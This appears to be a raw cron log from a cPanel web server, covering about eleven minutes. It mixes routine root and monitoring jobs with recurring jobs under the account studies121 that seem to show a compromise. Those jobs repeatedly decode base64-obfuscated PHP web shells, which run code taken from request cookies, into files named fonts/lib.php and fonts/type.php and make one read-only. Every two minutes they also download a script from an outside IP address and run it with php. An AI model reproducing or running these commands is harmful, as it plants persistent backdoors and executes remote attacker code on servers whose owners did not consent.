Aug 30 09:29:01 ip-184-168-122-23 CROND[17532]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 09:29:01 ip-184-168-122-23 CROND[17530]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 09:30:01 ip-184-168-122-23 CROND[17630]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 09:30:01 ip-184-168-122-23 CROND[17629]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 09:30:01 ip-184-168-122-23 CROND[17628]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 09:30:01 ip-184-168-122-23 CROND[17636]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 09:30:01 ip-184-168-122-23 CROND[17638]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 09:30:01 ip-184-168-122-23 CROND[17640]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 09:30:01 ip-184-168-122-23 CROND[17637]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 09:30:01 ip-184-168-122-23 CROND[17639]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 09:31:01 ip-184-168-122-23 CROND[17730]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 09:31:01 ip-184-168-122-23 CROND[17732]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 09:31:01 ip-184-168-122-23 CROND[17733]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 09:31:01 ip-184-168-122-23 CROND[17734]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 09:31:01 ip-184-168-122-23 CROND[17735]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 09:32:01 ip-184-168-122-23 CROND[17817]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 09:32:01 ip-184-168-122-23 CROND[17819]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 09:32:01 ip-184-168-122-23 CROND[17820]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 09:32:01 ip-184-168-122-23 CROND[17821]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 09:32:01 ip-184-168-122-23 CROND[17824]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 09:33:01 ip-184-168-122-23 CROND[17935]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 09:33:01 ip-184-168-122-23 CROND[17936]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 09:33:01 ip-184-168-122-23 CROND[17940]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 09:33:01 ip-184-168-122-23 CROND[17939]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 09:34:01 ip-184-168-122-23 CROND[18100]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 09:34:01 ip-184-168-122-23 CROND[18101]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 09:34:01 ip-184-168-122-23 CROND[18103]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 09:34:01 ip-184-168-122-23 CROND[18105]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 09:34:01 ip-184-168-122-23 CROND[18102]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 09:35:01 ip-184-168-122-23 CROND[18203]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 09:35:01 ip-184-168-122-23 CROND[18205]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 09:35:01 ip-184-168-122-23 CROND[18208]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Aug 30 09:35:01 ip-184-168-122-23 CROND[18206]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 09:35:01 ip-184-168-122-23 CROND[18209]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 09:35:01 ip-184-168-122-23 CROND[18216]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 09:35:01 ip-184-168-122-23 CROND[18217]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 09:35:01 ip-184-168-122-23 CROND[18218]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 09:36:01 ip-184-168-122-23 CROND[18309]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 09:36:01 ip-184-168-122-23 CROND[18311]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 09:36:01 ip-184-168-122-23 CROND[18313]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 09:36:01 ip-184-168-122-23 CROND[18314]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 09:36:01 ip-184-168-122-23 CROND[18315]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 09:37:01 ip-184-168-122-23 CROND[18394]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 09:37:01 ip-184-168-122-23 CROND[18396]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 09:37:01 ip-184-168-122-23 CROND[18398]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 09:37:01 ip-184-168-122-23 CROND[18397]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 09:38:01 ip-184-168-122-23 CROND[18478]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 09:38:01 ip-184-168-122-23 CROND[18480]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 09:38:01 ip-184-168-122-23 CROND[18481]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 09:38:01 ip-184-168-122-23 CROND[18483]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 09:38:01 ip-184-168-122-23 CROND[18482]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 09:39:01 ip-184-168-122-23 CROND[18586]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 09:39:01 ip-184-168-122-23 CROND[18587]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 09:39:01 ip-184-168-122-23 CROND[18591]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 30 09:39:01 ip-184-168-122-23 CROND[18588]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 09:39:01 ip-184-168-122-23 CROND[18590]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 09:40:01 ip-184-168-122-23 CROND[18695]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 09:40:01 ip-184-168-122-23 CROND[18696]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 09:40:01 ip-184-168-122-23 CROND[18700]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 09:40:01 ip-184-168-122-23 CROND[18705]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 09:40:01 ip-184-168-122-23 CROND[18706]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 09:40:01 ip-184-168-122-23 CROND[18707]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 09:40:01 ip-184-168-122-23 CROND[18708]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 09:40:01 ip-184-168-122-23 CROND[18709]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
